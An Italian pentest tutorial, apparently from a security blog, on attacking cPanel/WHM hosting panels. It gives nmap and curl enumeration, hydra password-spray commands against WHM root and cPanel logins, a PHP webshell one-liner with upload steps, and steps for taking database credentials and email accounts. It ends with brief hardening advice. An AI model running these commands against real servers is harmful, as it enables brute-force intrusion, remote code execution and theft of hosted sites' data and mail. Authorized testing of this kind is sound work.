networking

Port 1991 cPanel e WHM: Pentest, Enumerazione e Hardening

Port 1991 cPanel e WHM: Pentest, Enumerazione e Hardening

Guida pentest su cPanel e WHM: pannelli 2083, 2087 e Webmail 2096, account enumeration, API, esposizione hosting e misconfigurazioni critiche

  • Pubblicato il 2026-04-12
  • Tempo di lettura: 4 min

Executive Summary — La porta 1991 è una delle porte associate a cPanel, il pannello di controllo hosting più diffuso al mondo. cPanel gestisce centinaia di migliaia di server web — siti, email, database, DNS e file. L’ecosistema cPanel usa diverse porte: 2082/2083 per cPanel utente, 2086/2087 per WHM (WebHost Manager — admin), e la 1991 per servizi interni/alternativi. Compromettere un server cPanel significa accesso a tutti i siti ospitati, i database, le caselle email e spesso le credenziali di centinaia di utenti.

Cos’è la porta 1991 (cPanel / WHM)

  • cPanel sulla 1991 (o 2082-2087) gestisce siti web, database, email e DNS degli account hosting
  • WHM (porta 2086/2087) è l’interfaccia amministrativa root — accesso completo a tutti gli account sul server
  • Credenziali deboli su cPanel/WHM permettono accesso totale: upload file (webshell), accesso database (credential dump), gestione email

Porta 1991 cPanel è un canale TCP associato a servizi cPanel/WHM, talvolta usato come porta alternativa o per servizi interni del pannello. La porta 1991 vulnerabilità dipendono dalla versione di cPanel e dalla configurazione: credenziali deboli, API token esposti, webshell upload via file manager e privilege escalation da utente cPanel a root via WHM. L’enumerazione porta 1991 conferma la presenza di infrastruttura di hosting. Nel pentest, cPanel è un target ad alto valore: un server condiviso ospita decine o centinaia di siti.

1. Anatomia Tecnica #

PortaServizioRuolo
1991/TCPcPanel (alt)Servizio interno/alternativo
2082/TCPcPanel (HTTP)Pannello utente
2083/TCPcPanel (HTTPS)Pannello utente cifrato
2086/TCPWHM (HTTP)Admin pannello
2087/TCPWHM (HTTPS)Admin pannello cifrato
2089/TCPcPanel LicenseVerifica licenza
2096/TCPWebmailClient email web

cPanel ha tre livelli di accesso:

  • cPanel user: gestisce il proprio sito, database, email (porte 2082/2083)
  • Reseller: gestisce più account cPanel (WHM limitato)
  • Root/WHM: gestisce tutto il server (porte 2086/2087)
text
Misconfig: WHM accessibile senza IP whitelist
Impatto: brute force su root — accesso completo al server
Come si verifica: curl -sk https://[target]:2087/ — se mostra login WHM, è esposto
text
Misconfig: API token cPanel in backup o config esposta
Impatto: accesso programmatico completo senza password
Come si verifica: cerca "cpanel_api_token" in file di configurazione trovati

2. Enumerazione Base #

Scan porte cPanel #

bash
nmap -sV -p 1991,2082,2083,2086,2087,2096 10.10.10.80

Output atteso:

text
PORT     STATE SERVICE  VERSION
1991/tcp open  http     cPanel httpd
2083/tcp open  ssl/http cPanel Login
2087/tcp open  ssl/http WHM Login
2096/tcp open  ssl/http cPanel Webmail

Fingerprint versione #

bash
curl -sk https://10.10.10.80:2087/login/ | grep -i "version\|cpanel"

Output:

text
cPanel & WHM Version 114.0.6

Lettura dell’output: cPanel 114. La versione è fondamentale per CVE matching. cPanel rilascia update frequenti — versioni anche di pochi mesi indietro possono avere vulnerabilità note.

Enumerazione utenti hosting #

bash
# Se hai accesso WHM o API:
curl -sk "https://10.10.10.80:2087/json-api/listaccts?api.version=1" \
  -H "Authorization: whm root:API_TOKEN"

Output:

json
{
  "data": {
    "acct": [
      {"user": "corpsite", "domain": "corp.local", "email": "admin@corp.local"},
      {"user": "shopsite", "domain": "shop.corp.local", "email": "shop@corp.local"},
      {"user": "hrportal", "domain": "hr.corp.local", "email": "hr@corp.local"}
    ]
  }
}

Lettura dell’output: tre account hosting — ciascuno con il proprio sito, database e email. Per la compromissione dei siti web, accedere a uno qualsiasi permette upload di webshell.

3. Tecniche Offensive #

Credential spray su cPanel/WHM

bash
# Spray su WHM (root)
hydra -l root -P passwords.txt -s 2087 10.10.10.80 https-post-form \
  "/login/:user=^USER^&pass=^PASS^:incorrect"

# Spray su cPanel (utenti)
hydra -L users.txt -p 'Corp2026!' -s 2083 10.10.10.80 https-post-form \
  "/login/:user=^USER^&pass=^PASS^:incorrect"

Cosa fai dopo: accesso WHM root = controllo completo del server. Accesso cPanel utente = accesso al sito, database e email di quell’account.

Webshell upload via File Manager

Contesto: accesso cPanel utente.

text
1. Login cPanel (2083)
2. File Manager → public_html/
3. Upload: shell.php (<?php system($_GET['c']); ?>)
4. Accedi: https://[domain]/shell.php?c=id

Cosa fai dopo: RCE come l’utente cPanel. Da qui: escalation a root (kernel exploit, sudo misconfiguration) o accesso al database MySQL dell’account.

Database credential extraction

Contesto: accesso cPanel. Leggi le credenziali del database.

text
1. cPanel → MySQL Databases → vedi nome database
2. File Manager → public_html/wp-config.php (o equivalente)
3. Estrai DB_USER, DB_PASSWORD
4. phpMyAdmin → login con quelle credenziali → dump tabelle

Email access

text
1. cPanel → Email Accounts
2. Cambia password di qualsiasi casella email dell'account
3. Accedi via Webmail (2096) con le nuove credenziali

Privilege escalation: cPanel user → root

bash
# Dopo webshell: verifica privilegi
id  # uid=1001(corpsite)
sudo -l  # cerca misconfiguration
# Cerca SUID binary, kernel exploit, writable crontab
find / -perm -4000 -type f 2>/dev/null

4. Scenari Pratici #

Scenario 1: WHM esposto con credenziali deboli #

Step 1:

bash
nmap -sV -p 2087 10.10.10.80

Step 2:

bash
hydra -l root -P common_pass.txt -s 2087 10.10.10.80 https-post-form \
  "/login/:user=^USER^&pass=^PASS^:incorrect"

Step 3: con accesso WHM root → lista tutti gli account → accedi a ciascuno

Tempo stimato: 10-30 minuti

Scenario 2: cPanel utente → webshell → root #

Step 1: accesso cPanel con credenziali note (da phishing, breach, config file)

Step 2: upload webshell via File Manager

Step 3: escalation a root via kernel exploit o misconfiguration

Tempo stimato: 15-45 minuti

5. Cheat Sheet Finale #

AzioneComando
Scannmap -sV -p 1991,2082,2083,2086,2087,2096 [target]
Versioncurl -sk https://[target]:2087/login/ | grep version
WHM sprayhydra -l root -P pass.txt -s 2087 https-post-form
cPanel sprayhydra -L users -p pass -s 2083 https-post-form
List accounts (API)curl -sk https://[target]:2087/json-api/listaccts
WebshellUpload via File Manager → public_html/
DB credsLeggi wp-config.php o equivalente
Email accessWebmail sulla porta 2096

Perché Porta 1991 è rilevante nel 2026 #

cPanel gestisce milioni di siti web. Un server cPanel compromesso espone tutti i siti, database e email degli account ospitati. WHM con credenziali deboli è un finding devastante. Le CVE cPanel sono frequenti e spesso critiche. La porta 1991 è un indicatore aggiuntivo di infrastruttura cPanel.

Hardening #

  • IP whitelist su WHM (solo admin autorizzati)
  • 2FA su cPanel e WHM
  • Aggiorna cPanel regolarmente
  • Disabilita File Manager se non necessario
  • ModSecurity abilitato con ruleset aggiornato
  • Monitora login falliti

Riferimento: cPanel documentation, CVE database cPanel. Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#cPanel #WHM #Web Hosting

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.